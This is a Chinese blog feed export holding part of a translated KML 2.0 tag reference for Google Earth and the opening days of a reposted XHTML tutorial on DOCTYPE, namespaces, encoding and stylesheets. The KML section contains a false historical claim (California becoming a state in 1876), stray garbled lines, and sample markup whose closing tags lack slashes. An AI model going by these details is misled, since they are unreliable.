<DIV class=desc>复合标签，用来指定显示样式诸如自定义图标、几何形状、颜色和标签大小. 样式被标注和几何形状通过ID来引用，因此你可以让多个标注或几何形状共享一个样式.<BR><BR>注意:为了被引用，样式必须有一个ID属性.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="myStyle"&gt;</A><BR>&lt;polyMode&gt;outlineFill&lt;/polyMode&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A, ><BR>&lt;labelScale&gt;1&lt;/labelScale&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>ff0000ff<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>你也可以在<A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A>元素内部定义一个<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>，这个样式就是该标注的本地样式，因此会覆盖所有的相应的引用样式(例如从<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>引用的样式)的设置.基于性能考虑，应该尽量少使用本地样式.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>样式有一个ID属性，在样式被引用的时候使用.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR>&lt;polyMode&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A><BR>&lt;labelScale&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=StyleMap></A>
<H4>&lt;StyleMap&gt;</H4>
<DIV class=desc>复合标签.用来对标注进行第二层的样式表引用.例如当一个地名标注存在<B>正常</B>和<B>高亮</B>两种图标的时候使用<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A>元素.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap id="homestoremap"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;normal&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#homestoreoff<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;highlight&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#homestoreon<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用样式表ID作为该元素的ID属性<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=StyleUrl></A>
<H4>&lt;styleUrl&gt;</H4>
<DIV class=desc>单一标签. 通过URL引用一个<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>, <A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A> or &lt;StyleBlinker&gt;.假如被引用的样式表元素就在当前文档之中，可以仅仅使用一个#来引用，例如: <BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A> #myIconStyleID<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>http://someserver.com/somestylefile.xml#restaurant<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>ID或者URL指向被引用的样式表元素.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;State&gt;<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=tessellate></A>
<H4>&lt;tessellate&gt;</H4>
<DIV class=desc>设置是否允许线条根据地形而自动调整. <BR></DIV>
<DL>
<DT>值: 
<DD>0 (不进行自动调整)或1. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=tilt></A>
<H4>&lt;tilt&gt;</H4>
<DIV class=desc>单一标签，<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子标签. 代表视点到指定点的角度(视角)，值为0代表没有倾斜，即在Google earth中的视角是垂直向下的.值为90代表最大倾斜度，即在Google earth中视角是水平的. <BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A>0.000000<A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>代表视角倾斜度的数值，单位可以是十进制的度数，也可以是其他标准GIS数值.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=TimePeriod></A>
<H4>&lt;TimePeriod&gt;</H4>
<DIV class=desc>复合标签.该标签通过指定起始时间和终止时间来定义一个时间范围:<BR><BR>begin<BR>end<BR>0?<BR>90?<BR><BR>如果缺少一个时间点，那么这个时间点代表的边界就不存在,例如，下面的例子说明California从1876-08-01成为美国的一个州，并永远是美国的一个州，因为<A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A>标签没有指定:<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>California<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR>.<BR>.<BR>.<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1876-08-01<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=TimeInstant></A>
<H4>&lt;TimeInstant&gt;</H4>
<DIV class=desc>复合标签，代表一个时间点的实例(类似一个空间点).该事件实例的精确度是<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>标签中指定的时间精确度:<BR><BR>dateTime精确到秒<BR>date精确到日<BR>gYearMonth精确到月<BR>gYear精确到年<BR><BR>注意:不支持毫秒.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1959-01-03<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=timePosition></A>
<H4>&lt;timePosition&gt;</H4>
<DIV class=desc>单一标签，描述一个UTC(Coordinated Universal Time,查看<A href="http://www.w3.org/TR/NOTE-datetime/" target=_blank>http://www.w3.org/TR/NOTE-datetime/</A>获取更多信息)的日期时间, 可以用以下格式描述:<BR><BR>年份(YYYY)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>年份和月份(YYYY-MM)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>完整日期(YYYY-MM-DD)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07-16<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>日期和时钟分钟(YYYY-MM-DDThh:mmZ)<BR>这儿T代表日期和时间之间的分隔符,Z是表示这是GMT时间.<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07-16T07:30Z<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>完整的日期时间(YYYY-MM-DDThh:mm:ssZ)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07-16T07:30:15Z<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>注意:dateTime类型不允许从左至右的截断(比如省略秒钟)，并且不支持小数格式的秒钟，查看 <A href="http://www.w3.org/TR/xmlschema-0/#CreatDt" target=_blank>http://www.w3.org/TR/xmlschema-0/#CreatDt</A>获取更多信息.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1959-01-03<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用UTC格式的日期时间，可以用yyyy-mm-ddThh:mm:ss格式来书写，T是日期和时间之间的分隔符，另外，也可以只指定日期而不指定时间.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=type></A>
<H4>&lt;type&gt;</H4>
<DIV class=desc>单一标签,schema字段类型的子元素.用来定义在schema中定义的子段的类型.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Population<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>int<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>可能的值有:<BR><BR>uint<BR>short<BR>ushort<BR>float<BR>double<BR>bool<BR>string<BR>wstring (长string,UCS2 unicode编码)<BR>sharedstring<BR>sharedwstring<BR>Vec2f (2维矢量,float)<BR>Vec3d (3维矢量,double)<BR>icon<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjField">&lt;ObjField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjArrayField">&lt;ObjArrayField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleArrayField">&lt;SimpleArrayField&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=href></A>
<H4>&lt;href&gt;</H4>
<DIV class=desc>单一标签,<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>的子标签. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Url></A>
<H4>&lt;Url&gt;</H4>
<DIV class=desc>复合标签，<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR>&lt;refreshMode&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshMode">&lt;viewRefreshMode&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshTime">&lt;viewRefreshTime&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=viewRefreshMode></A>
<H4>&lt;viewRefreshMode&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素.指定在什么情况下向<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>网络服务器发送当前视角坐标. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>onStop 代表视图窗口停顿n秒后, n在<A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshTime">&lt;viewRefreshTime&gt;</A>标签之中指定.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=viewRefreshTime></A>
<H4>&lt;viewRefreshTime&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素. 指定向网络服务器发送当前视角坐标的频率. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>一个代表秒的整数<BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=visibility></A>
<H4>&lt;visibility&gt;</H4>
<DIV class=desc>单一标签，定义目录、地名标记、图片标记的默认可见性<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>The Home Store, Site #3<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR>. . . .<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>0 代表默认不显示<BR>1 代表默认显示<BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=w></A>
<H4>&lt;w&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个区域的时候,w是图片上被提取区域的宽度像素值.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上被提取区域的宽度像素值.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=west></A>
<H4>&lt;west&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>的子元素.指定图片标注左边缘的经度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A>-96.3874<A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示，而高度则以海拔高度(以米为单位)来表示.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=x></A>
<H4>&lt;x&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个点的时候,x是该点到图片左端的像素距离. <BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上某点到图片左端的像素距离.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=y></A>
<H4>&lt;y&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个点的时候,y是该点到图片底端的像素距离. <BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上某点到图片底端的像素距离.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV></DIV></LI></UL>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=239" /> 
	  <id>http://www.openx.cn/default.asp?id=239</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[[转]学习使用XHTML的12天]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-20T10:04:03+08:00</updated>
	  <published>2006-03-20T10:04:03+08:00</published>
		  <summary type="html"><![CDATA[<H4>前言</H4>
<P>大家好！这个系列文章是按转自网友阿捷编写的。之前阿捷也一直没有制作过一个真正符合web标准的网站。现在边参考国外资料边制作，同时把过程中的心得和经验记录下来，希望对大家有点帮助。好了，让我们开始吧。</P>
<H3>第一天</H3>
<P>开始制作符合标准的站点，第一件事情就是声明符合自己需要的DOCTYPE。</P>
<P>查看本站首页原代码，可以看到第一行就是：</P><STRONG><FONT face=Verdana color=#60a179>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</FONT></STRONG> <BR>
<P>打开一些符合标准的站点，例如著名web设计软件开发商<A href="http://www.macromedia.com/" target=_blank><FONT color=#60a179>Macromedia</FONT></A>，设计大师<A href="http://www.zeldman.com/" target=_blank><FONT color=#60a179>Zeldman</FONT></A>的个人网站，会发现同样的代码。而另一些符合标准的站点(例如<A href="http://www.k10k.net/" target=_blank><FONT color=#60a179>k10k.net</FONT></A>)的代码则如下：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"&gt;</FONT></STRONG></P>
<P>那么这些代码有什么含义？一定要放置吗？</P>
<H3>什么是DOCTYPE</H3>
<P>上面这些代码我们称做DOCTYPE声明。DOCTYPE是document type(文档类型)的简写，用来说明你用的XHTML或者HTML是什么版本。</P>
<P>其中的DTD(例如上例中的xhtml1-transitional.dtd)叫文档类型定义，里面包含了文档的规则，浏览器就根据你定义的DTD来解释你页面的标识，并展现出来。</P>
<P>要建立符合标准的网页，DOCTYPE声明是必不可少的关键组成部分；除非你的XHTML确定了一个正确的DOCTYPE，否则你的标识和CSS都不会生效。</P>
<P>XHTML 1.0 提供了三种DTD声明可供选择：</P>
<UL>
<LI>过渡的(Transitional):要求非常宽松的DTD，它允许你继续使用HTML4.01的标识(但是要符合xhtml的写法)。完整代码如下：</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</FONT></STRONG></P>
<UL>
<LI>严格的(Strict):要求严格的DTD，你不能使用任何表现层的标识和属性，例如&lt;br&gt;。完整代码如下：</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;</FONT></STRONG></P>
<UL>
<LI>框架的(Frameset):专门针对框架页面设计使用的DTD，如果你的页面中包含有框架，需要采用这种DTD。完整代码如下：</LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"&gt;</FONT></STRONG></P>
<H3>我们选择什么样的DOCTYPE</H3>
<P>理想情况当然是严格的DTD，但对于我们大多数刚接触web标准的设计师来说，过渡的DTD(XHTML 1.0 Transitional)是目前理想选择(包括本站，使用的也是过渡型DTD)。因为这种DTD还允许我们使用表现层的标识、元素和属性，也比较容易通过W3C的代码校验。</P>
<P>注：上面说的"表现层的标识、属性"是指那些纯粹用来控制表现的tag，例如用于排版的表格、背景颜色标识等。在XHTML中标识是用来表示结构的，而不是用来实现表现形式，我们过渡的目的是最终实现数据和表现相分离。</P>
<P>打个比方：人体模特换衣服。模特就好比数据，衣服则是表现形式，模特和衣服是分离的，这样你就可以随意换衣服。而原来HTML4中，数据和表现是混杂在一起的，要一次性换个表现形式非常困难。呵呵，有点抽象了，这个概念需要我们在应用过程中逐步领会。</P>
<H3>补充</H3>
<P>DOCTYPE声明必须放在每一个XHTML文档最顶部，在所有代码和标识之上。</P>
<P>更多细节可以访问<A href="http://www.w3.org/TR/xhtml1/#dtds" target=_blank><FONT color=#666666>W3C的网站</FONT></A></P>
<P><STRONG>第2天:什么是名字空间<BR></STRONG></P>
<DIV>DOCTYPE声明好以后，接下来的代码是：</DIV>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="gb2312"&gt;</FONT></STRONG> <BR></P>
<P>通常我们HTML4.0的代码只是<STRONG><FONT face=Verdana color=#60a179>&lt;html&gt;</FONT></STRONG>，这里的"xmlns"是什么呢？</P>
<P>这个"xmlns"是XHTML namespace的缩写，叫做"名字空间"声明。名字空间是什么作用呢？阿捷自己的理解是：</P>
<P>由于xml允许你自己定义自己的标识，你定义的标识和其他人定义的标识有可能相同，但表示不同的意义。当文件交换或者共享的时候就容易产生错误。为了避免这种错误发生，XML采用名字空间声明，允许你通过一个网址指向来识别你的标识。例如：</P>
<P>小王和小李都定义了一个&lt;book&gt;标识，如果小王的名字空间是"http://www.xiaowang.com"，小李的名字空间是"http://www.xiaoli.com"，那么当两个文档交换数据时，也不会混淆&lt;book&gt;标识，因为它属于不同的名字空间。</P>
<P>更通俗的解释是：名字空间就是给文档做一个标记，告诉别人，这个文档是属于谁的。只不过这个"谁"用了一个网址来代替。</P>
<P>XHTML是HTML向XML过渡的标识语言，它需要符合XML文档规则，因此也需要定义名字空间。又因为XHTML1.0不能自定义标识，所以它的名字空间都相同，就是"http://www.w3.org/1999/xhtml"。如果你还不太理解也不要紧，目前阶段我们只要照抄代码就可以了。</P>
<P>后面的lang="gb2312",指定你的文档用简体中文。</P>
<P><STRONG>第3天:定义语言编码<BR></STRONG></P>
<P>第三步是定义你的语言编码，类似这样：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;</FONT></STRONG> <BR></P>
<P>为了被浏览器正确解释和通过W3C代码校验，所有的XHTML文档都必须声明它们所使用的编码语言，我们一般使用gb2312(简体中文)，制作多国语言页面也有可能用Unicode、ISO-8859-1等，根据你的需要定义。</P>
<P>通常这样定义就可以了。但是要补充说明的是，XML文档并不是这样定义语言编码的，XML的定义方式如下：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;?xml version="1.0" encoding="gb2312"?&gt;</FONT></STRONG> <BR></P>
<P>你在Macromedia.com的首页代码第一行就可以看见类似的语句，这也是W3C推荐使用的定义方法。那为什么我们不直接采用这种方法呢？原因是一些浏览器对标准的支持不完善，不能正确理解这样的定义方法，比如IE6/windows。所以在目前过渡方案下，我们依然推荐使用meta方式。当然，你可以两种方法都写。</P>
<P>看本站源代码，你会发现语言编码定义的地方还多一句：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;meta http-equiv="Content-Language" content="gb2312" /&gt;</FONT></STRONG> <BR></P>
<P>这是针对老版本浏览器写的，以保证各种浏览器都能正确解释页面。</P>
<P>注意：在上面声明语句的最后，你看到有一个斜杠"/"，这和我们以前的HTML4.0的代码写法不同。原因是XHTML语法规则要求所有的标识都必须有开始和结束。例如&lt;body&gt;和&lt;/body&gt;、&lt;p&gt;和&lt;/p&gt;等，对于不成对的标识，要求在标识最后加一个空格，然后跟一个"/"。例如&lt;br&gt;写成&lt;br /&gt;、&lt;img&gt;写成&lt;img /&gt;，加空格的原因是避免代码连在一起浏览器不识别。</P>
<P><STRONG>第4天:调用样式表<BR></STRONG></P>
<P>用web标准设计网站，过渡的方法主要是采用XHTML+CSS，css样式表是必不可少的。这就要求所有网页设计师必须熟练掌握CSS，如果你以前不常用，那么现在就开始学习吧。要制作符合web标准的网站，不懂CSS是设计不出漂亮的页面的。</P>
<P>事实上，所有表现的地方都需要用CSS来实现。我们以前都习惯用table来定位和布局，现在要改用DIV来定位和布局。这是思维方式的变化，一开始有些不习惯。呵呵，任何变革都会有阻力的，为了享受标准带来的"益处"，放弃一些老的传统做法是值得的。</P>
<H3>外部调用样式表</H3>
<P>在以前，我们通常采用2种方法使用样式表： <BR></P>
<UL>
<LI>页面内嵌法：就是将样式表直接写在页面代码的head区。类似这样： </LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;style type="text/css"&gt; &lt;!-- body { background : white ; color : black ; } --&gt; &lt;/style&gt;</FONT></STRONG> <BR></P>
<UL>
<LI>外部调用法：将样式表写在一个独立的.css文件中，然后在页面head区用类似以下代码调用。 </LI></UL>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;link rel="stylesheet" rev="stylesheet" href="css/style.css" type="text/css" media="all" /&gt;</FONT></STRONG> <BR></P>
